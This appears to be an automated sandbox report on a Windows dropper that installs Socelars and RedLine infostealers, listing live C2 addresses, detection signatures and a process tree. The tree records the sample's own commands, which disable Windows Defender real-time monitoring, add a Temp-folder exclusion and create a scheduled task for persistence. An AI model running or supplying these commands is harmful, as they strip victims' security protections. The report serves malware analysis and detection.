General
Target

cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe

Filesize

5MB

Completed

10-11-2021 14:54

Task

behavioral20

Score
10/10
MD5

5802bc4fd763cd759b7875e94f9f2eaf

SHA1

91eaa6e6f9b5c52a2b91806bfbf513ed336e3f6a

SHA256

cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2

SHA256

91f9c64c61456c91e74cad1c8a5f9aca54e44f00612085721c1b2ad8e9305679f3ed562939b0505843c06b619ab8f4818f3a537e33c122a02569cf080d13181a

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

media25

C2

91.121.67.60:23325

Extracted

Family

redline

Botnet

ChrisNEW

C2

194.104.136.5:46013

Signatures 31

Filter: none

Defense Evasion
Discovery
Persistence
  • Modifies Windows Defender Real-time Protection settings

    TTPs

    Modify RegistryModify Existing ServiceDisabling Security Tools
  • RedLine

    Description

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload

    Reported IOCs

    resourceyara_rule
    behavioral20/memory/5980-323-0x0000000000000000-mapping.dmpfamily_redline
    behavioral20/memory/5980-325-0x0000000000400000-0x0000000000420000-memory.dmpfamily_redline
    behavioral20/memory/6072-329-0x0000000000400000-0x000000000041E000-memory.dmpfamily_redline
    behavioral20/memory/6072-327-0x0000000000000000-mapping.dmpfamily_redline
  • Socelars

    Description

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload

    Reported IOCs

    resourceyara_rule
    behavioral20/files/0x000100000002b1d9-218.datfamily_socelars
    behavioral20/files/0x000100000002b1d9-250.datfamily_socelars
  • Suspicious use of NtCreateProcessExOtherParentProcess
    WerFault.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 5392 created 38525392WerFault.exesetup_install.exe
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    Description

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    Tags

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    Description

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    Tags

  • ASPack v2.12-2.42

    Description

    Detects executables packed with ASPack v2.12-2.42

    Tags

    Reported IOCs

    resourceyara_rule
    behavioral20/files/0x000100000002b1c9-157.dataspack_v212_v242
    behavioral20/files/0x000100000002b1c9-159.dataspack_v212_v242
    behavioral20/files/0x000100000002b1cb-162.dataspack_v212_v242
    behavioral20/files/0x000100000002b1cb-163.dataspack_v212_v242
    behavioral20/files/0x000100000002b1c8-158.dataspack_v212_v242
    behavioral20/files/0x000100000002b1c8-165.dataspack_v212_v242
    behavioral20/files/0x000100000002b1c8-164.dataspack_v212_v242
  • Downloads MZ/PE file
  • Executes dropped EXE
    setup_installer.exesetup_install.exeTue01d702368dbba.exeTue01994ec7a792fea9.exeTue01d702368dbba.tmpTue0138d4026db6d813e.exeTue0133c29150b.exeTue017abac33187.exeTue010769fc7f9829.exeTue018f791563585c0f9.exeTue01e8898e0d1fce4.exeTue01bba8b80fa4.exeTue0195119235.exeTue0121ab289cd9a.exeTue0105f10596.exeTue01c451610f4a.exeTue01bf08f313b912.exeTue01de2411919659f09.exeTue018bc5c5a0a3d4.exeTue01d702368dbba.exeTue01d702368dbba.tmpTue0195119235.exeTue01de2411919659f09.exeTue017abac33187.exeMNnAgqQGVlOEwufGIc_4cPl6.exeSSnq0UDLZahdV43ZPQGktkQm.exeGhXkKMW.EXerun.exe

    Reported IOCs

    pidprocess
    1560setup_installer.exe
    3852setup_install.exe
    4892Tue01d702368dbba.exe
    768Tue01994ec7a792fea9.exe
    1148Tue01d702368dbba.tmp
    2944Tue0138d4026db6d813e.exe
    1716Tue0133c29150b.exe
    3600Tue017abac33187.exe
    1060Tue010769fc7f9829.exe
    2412Tue018f791563585c0f9.exe
    2112Tue01e8898e0d1fce4.exe
    1452Tue01bba8b80fa4.exe
    1044Tue0195119235.exe
    1356Tue0121ab289cd9a.exe
    2324Tue0105f10596.exe
    2264Tue01c451610f4a.exe
    3440Tue01bf08f313b912.exe
    1888Tue01de2411919659f09.exe
    3716Tue018bc5c5a0a3d4.exe
    5228Tue01d702368dbba.exe
    5428Tue01d702368dbba.tmp
    5908Tue0195119235.exe
    5980Tue01de2411919659f09.exe
    6072Tue017abac33187.exe
    5460MNnAgqQGVlOEwufGIc_4cPl6.exe
    5680SSnq0UDLZahdV43ZPQGktkQm.exe
    4692GhXkKMW.EXe
    5752run.exe
  • Modifies Windows Firewall

    Tags

    TTPs

    Modify Existing Service
  • Sets service image path in registry

    TTPs

    Registry Run Keys / Startup FolderModify Registry
  • Loads dropped DLL
    setup_install.exeTue01d702368dbba.tmpTue01d702368dbba.tmp

    Reported IOCs

    pidprocess
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    3852setup_install.exe
    1148Tue01d702368dbba.tmp
    5428Tue01d702368dbba.tmp
  • Legitimate hosting services abused for malware hosting/C2

    TTPs

    Web Service
  • Looks up external IP address via web service

    Description

    Uses a legitimate IP lookup service to find the infected system's external IP.

    Reported IOCs

    flowioc
    2ip-api.com
    49ipinfo.io
    222ipinfo.io
    223ipinfo.io
    297ipinfo.io
    304ipinfo.io
    11ipinfo.io
    52ipinfo.io
    214ipinfo.io
    276ipinfo.io
    276api.db-ip.com
    299api.db-ip.com
  • Looks up geolocation information via web service

    Description

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext
    Tue01de2411919659f09.exeTue017abac33187.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1888 set thread context of 59801888Tue01de2411919659f09.exeTue01de2411919659f09.exe
    PID 3600 set thread context of 60723600Tue017abac33187.exeTue017abac33187.exe
  • autoit_exe

    Description

    AutoIT scripts compiled to PE executables.

    Reported IOCs

    resourceyara_rule
    behavioral20/files/0x000100000002b1da-196.datautoit_exe
    behavioral20/files/0x000100000002b1da-249.datautoit_exe
  • Drops file in Windows directory
    svchost.exeWerFault.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\SoftwareDistribution\DataStore\DataStore.edbsvchost.exe
    File opened for modificationC:\Windows\SoftwareDistribution\DataStore\DataStore.jfmsvchost.exe
    File opened for modificationC:\Windows\SoftwareDistribution\ReportingEvents.logsvchost.exe
    File createdC:\Windows\AppCompat\Programs\Amcache.hve.tmpWerFault.exe
    File opened for modificationC:\Windows\WindowsUpdate.logsvchost.exe
    File opened for modificationC:\Windows\SoftwareDistribution\DataStore\Logs\edb.chksvchost.exe
    File opened for modificationC:\Windows\SoftwareDistribution\DataStore\Logs\edb.logsvchost.exe
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Program crash
    WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

    Reported IOCs

    pidpid_targetprocesstarget process
    56163852WerFault.exesetup_install.exe
    64923440WerFault.exeTue01bf08f313b912.exe
    69521404WerFault.exexHWsIbp5zVVbKRXuSsoLXaVJ.exe
    70564708WerFault.exe1aXbsTlPxoqnrUrDr4lOH1Hr.exe
    66201716WerFault.exeTue0133c29150b.exe
    58841452WerFault.exeTue01bba8b80fa4.exe
    66322944WerFault.exeTue0138d4026db6d813e.exe
    14361516WerFault.exeW4mFXyLh5aj5_b1KiIfEgQzV.exe
    10765748WerFault.exeU8qtfC62MiAmZnIQ9G2Uwpyo.exe
    70164656WerFault.exeXotn3uuavbVIT5npJiZlgR7J.exe
    12765808WerFault.exeKYrYRSoN5TCBAZbCMOAJV3pM.exe
    51326260WerFault.exeFphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
    12801896WerFault.exendg3W2lKI5w2SgFsVDNIVqli.exe
  • Checks processor information in registry
    svchost.exe

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0svchost.exe
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzsvchost.exe
  • Creates scheduled task(s)
    schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    5876schtasks.exe
    6248schtasks.exe
    1872schtasks.exe
    6740schtasks.exe
    2520schtasks.exe
  • Kills process with taskkill
    taskkill.exe

    Tags

    Reported IOCs

    pidprocess
    3828taskkill.exe
  • Modifies data under HKEY_USERS
    WaaSMedicAgent.exe

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software PublishingWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeopleWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\RootWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRootWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CAWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\DisallowedWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeopleWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trustWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CAWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\DisallowedWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CertificatesWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLsWaaSMedicAgent.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trustWaaSMedicAgent.exe
  • Suspicious behavior: EnumeratesProcesses
    powershell.exepowershell.exeTue0105f10596.exe

    Reported IOCs

    pidprocess
    3648powershell.exe
    3648powershell.exe
    2480powershell.exe
    2480powershell.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
    2324Tue0105f10596.exe
  • Suspicious use of AdjustPrivilegeToken
    svchost.exesvchost.exeTue01bf08f313b912.exeTue010769fc7f9829.exepowershell.exepowershell.exeTue018bc5c5a0a3d4.exeWerFault.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeShutdownPrivilege2076svchost.exe
    Token: SeCreatePagefilePrivilege2076svchost.exe
    Token: SeShutdownPrivilege2076svchost.exe
    Token: SeCreatePagefilePrivilege2076svchost.exe
    Token: SeShutdownPrivilege2076svchost.exe
    Token: SeCreatePagefilePrivilege2076svchost.exe
    Token: SeShutdownPrivilege2212svchost.exe
    Token: SeCreatePagefilePrivilege2212svchost.exe
    Token: SeCreateTokenPrivilege3440Tue01bf08f313b912.exe
    Token: SeAssignPrimaryTokenPrivilege3440Tue01bf08f313b912.exe
    Token: SeLockMemoryPrivilege3440Tue01bf08f313b912.exe
    Token: SeIncreaseQuotaPrivilege3440Tue01bf08f313b912.exe
    Token: SeMachineAccountPrivilege3440Tue01bf08f313b912.exe
    Token: SeTcbPrivilege3440Tue01bf08f313b912.exe
    Token: SeSecurityPrivilege3440Tue01bf08f313b912.exe
    Token: SeTakeOwnershipPrivilege3440Tue01bf08f313b912.exe
    Token: SeLoadDriverPrivilege3440Tue01bf08f313b912.exe
    Token: SeSystemProfilePrivilege3440Tue01bf08f313b912.exe
    Token: SeSystemtimePrivilege3440Tue01bf08f313b912.exe
    Token: SeProfSingleProcessPrivilege3440Tue01bf08f313b912.exe
    Token: SeIncBasePriorityPrivilege3440Tue01bf08f313b912.exe
    Token: SeCreatePagefilePrivilege3440Tue01bf08f313b912.exe
    Token: SeCreatePermanentPrivilege3440Tue01bf08f313b912.exe
    Token: SeBackupPrivilege3440Tue01bf08f313b912.exe
    Token: SeRestorePrivilege3440Tue01bf08f313b912.exe
    Token: SeShutdownPrivilege3440Tue01bf08f313b912.exe
    Token: SeDebugPrivilege3440Tue01bf08f313b912.exe
    Token: SeAuditPrivilege3440Tue01bf08f313b912.exe
    Token: SeSystemEnvironmentPrivilege3440Tue01bf08f313b912.exe
    Token: SeChangeNotifyPrivilege3440Tue01bf08f313b912.exe
    Token: SeRemoteShutdownPrivilege3440Tue01bf08f313b912.exe
    Token: SeUndockPrivilege3440Tue01bf08f313b912.exe
    Token: SeSyncAgentPrivilege3440Tue01bf08f313b912.exe
    Token: SeEnableDelegationPrivilege3440Tue01bf08f313b912.exe
    Token: SeManageVolumePrivilege3440Tue01bf08f313b912.exe
    Token: SeImpersonatePrivilege3440Tue01bf08f313b912.exe
    Token: SeCreateGlobalPrivilege3440Tue01bf08f313b912.exe
    Token: 313440Tue01bf08f313b912.exe
    Token: 323440Tue01bf08f313b912.exe
    Token: 333440Tue01bf08f313b912.exe
    Token: 343440Tue01bf08f313b912.exe
    Token: 353440Tue01bf08f313b912.exe
    Token: SeDebugPrivilege1060Tue010769fc7f9829.exe
    Token: SeDebugPrivilege3648powershell.exe
    Token: SeDebugPrivilege2480powershell.exe
    Token: SeDebugPrivilege3716Tue018bc5c5a0a3d4.exe
    Token: SeRestorePrivilege5616WerFault.exe
    Token: SeBackupPrivilege5616WerFault.exe
    Token: SeBackupPrivilege5616WerFault.exe
  • Suspicious use of FindShellTrayWindow
    Tue01c451610f4a.exe

    Reported IOCs

    pidprocess
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
  • Suspicious use of SendNotifyMessage
    Tue01c451610f4a.exe

    Reported IOCs

    pidprocess
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
    2264Tue01c451610f4a.exe
  • Suspicious use of WriteProcessMemory
    cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exesvchost.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 856 wrote to memory of 1560856cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exesetup_installer.exe
    PID 856 wrote to memory of 1560856cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exesetup_installer.exe
    PID 856 wrote to memory of 1560856cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exesetup_installer.exe
    PID 2212 wrote to memory of 20962212svchost.exeMoUsoCoreWorker.exe
    PID 2212 wrote to memory of 20962212svchost.exeMoUsoCoreWorker.exe
    PID 1560 wrote to memory of 38521560setup_installer.exesetup_install.exe
    PID 1560 wrote to memory of 38521560setup_installer.exesetup_install.exe
    PID 1560 wrote to memory of 38521560setup_installer.exesetup_install.exe
    PID 3852 wrote to memory of 34243852setup_install.execmd.exe
    PID 3852 wrote to memory of 34243852setup_install.execmd.exe
    PID 3852 wrote to memory of 34243852setup_install.execmd.exe
    PID 3852 wrote to memory of 31243852setup_install.execmd.exe
    PID 3852 wrote to memory of 31243852setup_install.execmd.exe
    PID 3852 wrote to memory of 31243852setup_install.execmd.exe
    PID 3852 wrote to memory of 39963852setup_install.execmd.exe
    PID 3852 wrote to memory of 39963852setup_install.execmd.exe
    PID 3852 wrote to memory of 39963852setup_install.execmd.exe
    PID 3852 wrote to memory of 30563852setup_install.execmd.exe
    PID 3852 wrote to memory of 30563852setup_install.execmd.exe
    PID 3852 wrote to memory of 30563852setup_install.execmd.exe
    PID 3852 wrote to memory of 24203852setup_install.execmd.exe
    PID 3852 wrote to memory of 24203852setup_install.execmd.exe
    PID 3852 wrote to memory of 24203852setup_install.execmd.exe
    PID 3996 wrote to memory of 48923996cmd.exeTue01d702368dbba.exe
    PID 3996 wrote to memory of 48923996cmd.exeTue01d702368dbba.exe
    PID 3996 wrote to memory of 48923996cmd.exeTue01d702368dbba.exe
    PID 3852 wrote to memory of 13203852setup_install.execmd.exe
    PID 3852 wrote to memory of 13203852setup_install.execmd.exe
    PID 3852 wrote to memory of 13203852setup_install.execmd.exe
    PID 3852 wrote to memory of 29123852setup_install.execmd.exe
    PID 3852 wrote to memory of 29123852setup_install.execmd.exe
    PID 3852 wrote to memory of 29123852setup_install.execmd.exe
    PID 3124 wrote to memory of 36483124cmd.exepowershell.exe
    PID 3124 wrote to memory of 36483124cmd.exepowershell.exe
    PID 3124 wrote to memory of 36483124cmd.exepowershell.exe
    PID 3852 wrote to memory of 19083852setup_install.execmd.exe
    PID 3852 wrote to memory of 19083852setup_install.execmd.exe
    PID 3852 wrote to memory of 19083852setup_install.execmd.exe
    PID 3424 wrote to memory of 24803424cmd.exepowershell.exe
    PID 3424 wrote to memory of 24803424cmd.exepowershell.exe
    PID 3424 wrote to memory of 24803424cmd.exepowershell.exe
    PID 3852 wrote to memory of 24763852setup_install.execmd.exe
    PID 3852 wrote to memory of 24763852setup_install.execmd.exe
    PID 3852 wrote to memory of 24763852setup_install.execmd.exe
    PID 3852 wrote to memory of 36843852setup_install.execmd.exe
    PID 3852 wrote to memory of 36843852setup_install.execmd.exe
    PID 3852 wrote to memory of 36843852setup_install.execmd.exe
    PID 3852 wrote to memory of 49803852setup_install.execmd.exe
    PID 3852 wrote to memory of 49803852setup_install.execmd.exe
    PID 3852 wrote to memory of 49803852setup_install.execmd.exe
    PID 3852 wrote to memory of 46243852setup_install.execmd.exe
    PID 3852 wrote to memory of 46243852setup_install.execmd.exe
    PID 3852 wrote to memory of 46243852setup_install.execmd.exe
    PID 3852 wrote to memory of 25483852setup_install.execmd.exe
    PID 3852 wrote to memory of 25483852setup_install.execmd.exe
    PID 3852 wrote to memory of 25483852setup_install.execmd.exe
    PID 3852 wrote to memory of 48163852setup_install.execmd.exe
    PID 3852 wrote to memory of 48163852setup_install.execmd.exe
    PID 3852 wrote to memory of 48163852setup_install.execmd.exe
    PID 3852 wrote to memory of 50763852setup_install.execmd.exe
    PID 3852 wrote to memory of 50763852setup_install.execmd.exe
    PID 3852 wrote to memory of 50763852setup_install.execmd.exe
    PID 2420 wrote to memory of 7682420cmd.exeTue01994ec7a792fea9.exe
    PID 2420 wrote to memory of 7682420cmd.exeTue01994ec7a792fea9.exe
Processes 192
  • C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
    "C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"
    Suspicious use of WriteProcessMemory
    PID:856
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS8163F794\setup_install.exe"
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        PID:3852
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          Suspicious use of WriteProcessMemory
          PID:3424
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of AdjustPrivilegeToken
            PID:2480
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          Suspicious use of WriteProcessMemory
          PID:3124
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of AdjustPrivilegeToken
            PID:3648
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe
          Suspicious use of WriteProcessMemory
          PID:3996
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01d702368dbba.exe
            Tue01d702368dbba.exe
            Executes dropped EXE
            PID:4892
            • C:\Users\Admin\AppData\Local\Temp\is-OOIP5.tmp\Tue01d702368dbba.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-OOIP5.tmp\Tue01d702368dbba.tmp" /SL5="$30154,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01d702368dbba.exe"
              Executes dropped EXE
              Loads dropped DLL
              PID:1148
              • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01d702368dbba.exe
                "C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01d702368dbba.exe" /SILENT
                Executes dropped EXE
                PID:5228
                • C:\Users\Admin\AppData\Local\Temp\is-V59JE.tmp\Tue01d702368dbba.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-V59JE.tmp\Tue01d702368dbba.tmp" /SL5="$40154,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01d702368dbba.exe" /SILENT
                  Executes dropped EXE
                  Loads dropped DLL
                  PID:5428
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe
          PID:1320
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue018f791563585c0f9.exe
            Tue018f791563585c0f9.exe
            Executes dropped EXE
            PID:2412
            • C:\Users\Admin\Pictures\Adobe Films\SSnq0UDLZahdV43ZPQGktkQm.exe
              "C:\Users\Admin\Pictures\Adobe Films\SSnq0UDLZahdV43ZPQGktkQm.exe"
              Executes dropped EXE
              PID:5680
            • C:\Users\Admin\Pictures\Adobe Films\KYrYRSoN5TCBAZbCMOAJV3pM.exe
              "C:\Users\Admin\Pictures\Adobe Films\KYrYRSoN5TCBAZbCMOAJV3pM.exe"
              PID:5808
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 276
                Program crash
                PID:1276
            • C:\Users\Admin\Pictures\Adobe Films\N5eg0PSDGLayDTTuZ0AV0MNO.exe
              "C:\Users\Admin\Pictures\Adobe Films\N5eg0PSDGLayDTTuZ0AV0MNO.exe"
              PID:6356
            • C:\Users\Admin\Pictures\Adobe Films\TfboYYIz8bD6Vs0oPKjFwaG9.exe
              "C:\Users\Admin\Pictures\Adobe Films\TfboYYIz8bD6Vs0oPKjFwaG9.exe"
              PID:2388
            • C:\Users\Admin\Pictures\Adobe Films\yHTirVhStloMOxVlnXvumLhI.exe
              "C:\Users\Admin\Pictures\Adobe Films\yHTirVhStloMOxVlnXvumLhI.exe"
              PID:1532
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
